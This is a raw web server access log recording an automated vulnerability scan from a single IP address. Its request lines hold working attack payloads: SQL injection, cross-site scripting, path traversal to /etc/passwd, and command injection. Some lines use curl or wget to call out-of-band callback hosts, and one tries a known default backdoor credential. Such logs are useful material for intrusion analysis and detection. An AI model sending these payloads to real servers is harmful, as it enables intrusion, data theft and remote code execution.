[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Ecsoj.txt HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_street.php?act=alphabet&x=11%ef%bf%bd%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5(999999999),9%20from%20qs_admin HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5(999999999),9%23 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1" 226
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/out HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_officebuilding.php?act=key&key=%e9%8c%a6%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(999999999),5,6,7,8,9%23 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=http://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jars/upload HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp-file-manager-pro/fm_backup/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /find_v2/_click?_t_id&_t_q&_t_hit.id&_t_redirect=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.htm?type=treestat HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /var HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS\";><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/system_mgr.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/380DIlLsNDp938a4NOAmJvde2QH/)%3C%2Fscript%3E HTTP/1.1" 199
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /infusions/downloads/downloads.php?cat_id=${system(ls)} HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script> HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/_core/php/profile.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/login/LoginForm.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/config HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/getuser?index=0 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/kv/380DIAQtirjC16EhvJ7Z4D23DF5 HTTP/1.1" 220
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/event-espresso-core-reg/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fuel/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/index.php?pma_servername=d5g6to2hausk1oj0j65g1t6a4hfj5uyf8.oast.live&pma_username=380DIYx8mVzA3tv1vDKrczmeYHz&pma_password=380DIYx8mVzA3tv1vDKrczmeYHz&server=1 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/csoj.txt HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/requestreset HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?download=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/settings/values HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /help/english/index.html?javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /checkValid HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pme/media/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/canto/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?option=comgmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/fileDownloader?sec=1 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/easy-wp-smtp/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/setSysAdm HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380DIMg1H0zDN5qhepU4fx4oY2D/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/session_password.html HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/380DIJ4XwoJP7LTwbMfiXMH5HtQ.txt HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/kv/380DIAQtirjC16EhvJ7Z4D23DF5?raw HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actions/authenticate.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/newpassword HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/lesson/1 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?username=zyfwp&password=PrOw!aN_fXp HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /incom/modules/uploader/showcase/script.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/check HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/makecvs.php?Event=%60curl+http%3a//d5g6to2hausk1oj0j65gf5kzmgig3dc19.oast.live+-H+'User-Agent%3a+GZp2W6'%60 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/realms/master/clients-registrations/default/security-admin-console HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o&ylabel&xrange=10:10&yrange=[33:system(%27wget%20http://d5g6to2hausk1oj0j65gezottqksa8dky.oast.live%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl HTTP/1.1" 199
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /searchblox/servlet/FileServlet?col=9&url=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/contact-form-7/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tos/index.php?user/login HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/graphql HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/php/profile.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info.php?RESULT=\",msgArray);alert(document.domain);// HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?cda'\"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nette.micro/?callback=phpcredits HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /context.json HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/components/bitrix/mobileapp.list/ajax.php/?AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=<a+href=\"/*\">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//> HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/getImageMP4.php?base64Url=YGlkID4gb2l6b2EudHh0YA===&format=jpg HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 311
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/pages/items/?search_term&published&layout&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin HTTP/1.1" 196
